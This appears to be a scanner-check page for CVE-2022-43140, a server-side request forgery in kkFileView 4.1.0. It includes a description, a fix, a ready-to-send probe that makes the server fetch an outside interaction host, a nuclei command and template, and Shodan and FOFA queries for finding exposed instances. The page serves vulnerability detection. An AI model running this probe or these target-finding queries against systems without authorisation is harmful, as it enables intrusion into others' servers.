kkFileView 4.1.0 - Server-Side Request Forgery

highseverity

7.5CVSS score

2.1%likelihood of exploitation, next 30 days

82%of all CVEs are less likely

Readycheck to confirm it

kkFileView 4.1.0 is susceptible to server-side request forgery via the component cn.keking.web.controller.OnlinePreviewController#getCorsFile. An attacker can force the application to make arbitrary requests via injection of crafted URLs into the url parameter and thereby potentially obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.

Impact

Successful exploitation of this vulnerability could lead to unauthorized access to internal resources, potential data leakage, and further attacks on the server.

Fix

Apply the latest security patches or updates provided by the vendor to fix the SSRF vulnerability in kkFileView 4.1.0.

How to confirm it

Send: GET {{BaseURL}}/getCorsFile?urlPath={{base64('https://oast.me')}}
Positive when: contains "<h1> Interactsh Server </h1>"

Run it with nuclei: nuclei -id CVE-2022-43140 -u <target>

The full check

id: CVE-2022-43140

info:
  name: kkFileView 4.1.0 - Server-Side Request Forgery
  author: Co5mos
  severity: high
  description: |
    kkFileView 4.1.0 is susceptible to server-side request forgery via the component cn.keking.web.controller.OnlinePreviewController#getCorsFile. An attacker can force the application to make arbitrary requests via injection of crafted URLs into the url parameter and thereby potentially obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    Successful exploitation of this vulnerability could lead to unauthorized access to internal resources, potential data leakage, and further attacks on the server.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to fix the SSRF vulnerability in kkFileView 4.1.0.
  reference:
    - https://github.com/kekingcn/kkFileView/issues/392
    - https://nvd.nist.gov/vuln/detail/CVE-2022-43140
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-43140
    cwe-id: CWE-918
    epss-score: 0.02119
    epss-percentile: 0.8202
    cpe: cpe:2.3:a:keking:kkfileview:4.1.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: keking
    product: kkfileview
    shodan-query:
      - http.html:"kkFileView"
      - http.html:"kkfileview"
    fofa-query:
      - app="kkFileView"
      - app="kkfileview"
      - body="kkfileview"
  tags: cve2022,cve,ssrf,kkFileview,keking,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/getCorsFile?urlPath={{base64('https://oast.me')}}"

    matchers:
      - type: word
        part: body
        words:
          - "<h1> Interactsh Server </h1>"

References

Use this check only on systems you are authorised to test. Where the data comes from